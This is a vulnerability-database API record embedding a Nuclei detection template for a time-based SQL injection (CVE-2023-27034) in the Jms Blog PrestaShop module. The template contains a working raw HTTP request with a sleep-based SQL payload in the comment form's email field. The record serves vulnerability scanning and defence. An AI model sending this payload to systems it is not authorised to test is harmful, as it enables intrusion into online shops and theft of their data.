{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2023-27034/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2023-27034/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2023-27034/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2023-27034/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2023-27034/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2023-27034"},"sightings":{"href":"/api/v1/sightings/cve-2023-27034"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2023/CVE-2023-27034.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2023-27034\n\ninfo:\n  name: Jms Blog - SQL Injection\n  author: MaStErChO\n  severity: critical\n  description: |\n    The module Jms Blog (jmsblog) from Joommasters contains a Time Based SQL injection vulnerability. This module is for the PrestaShop e-commerce platform and mainly provided with joommasters PrestaShop themes\n  impact: |\n    Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the entire application and its underlying infrastructure.\n  remediation: |\n    Upgrade to the latest version to mitigate this vulnerability.\n  reference:\n    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-27034\n    - https://security.friendsofpresta.org/modules/2023/03/13/jmsblog.html\n    - https://github.com/advisories/GHSA-7jr7-v6gv-m656\n    - https://friends-of-presta.github.io/security-advisories/modules/2023/03/13/jmsblog.html\n    - https://github.com/codeb0ss/CVE-2023-27034-Exploit\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2023-27034\n    cwe-id: CWE-89\n    epss-score: 0.58743\n    epss-percentile: 0.99076\n    cpe: cpe:2.3:a:joommasters:jms_blog:2.5.5:*:*:*:*:prestashop:*:*\n  metadata:\n    max-request: 2\n    vendor: joommasters\n    product: jms_blog\n    framework: prestashop\n  tags: time-based-sqli,cve2023,cve,prestashop,prestashop-module,sqli,intrusive,joommasters,vkev,vuln\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        GET / HTTP/1.1\n        Host: {{Hostname}}\n\n    host-redirects: true\n    max-redirects: 3\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(tolower(body), \"jmsblog\")'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        @timeout: 20s\n        POST /module/jmsblog/index.php?action=submitComment&controller=post&fc=module&module=jmsblog&post_id=1 HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: multipart/form-data; boundary=----------YWJkMTQzNDcw\n        X-Requested-With: XMLHttpRequest\n\n        ------------YWJkMTQzNDcw\n        Content-Disposition: form-data; name=\"comment\"\n\n        555\n        ------------YWJkMTQzNDcw\n        Content-Disposition: form-data; name=\"customer_name\"\n\n\n        ------------YWJkMTQzNDcw\n        Content-Disposition: form-data; name=\"email\"\n\n        0'XOR(if(now()=sysdate(),sleep(6),0))XOR'Z\n        ------------YWJkMTQzNDcw\n        Content-Disposition: form-data; name=\"post_id\"\n\n        1\n        ------------YWJkMTQzNDcw\n        Content-Disposition: form-data; name=\"post_id_comment_reply\"\n\n        1\n        ------------YWJkMTQzNDcw\n        Content-Disposition: form-data; name=\"submitComment\"\n\n        submitComment=\n        ------------YWJkMTQzNDcw--\n\n    host-redirects: true\n    max-redirects: 3\n    matchers:\n      - type: dsl\n        dsl:\n          - 'duration>=6'\n# digest: 490a00463044022004e85e55b268d8d8938783f494d5c1b8975d8779be8248fddb9371191b4db55902205e95747170289230911d721fcaf6dec54ab0c1730db63e91d5fb669ad122f8cc:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2023-27034"}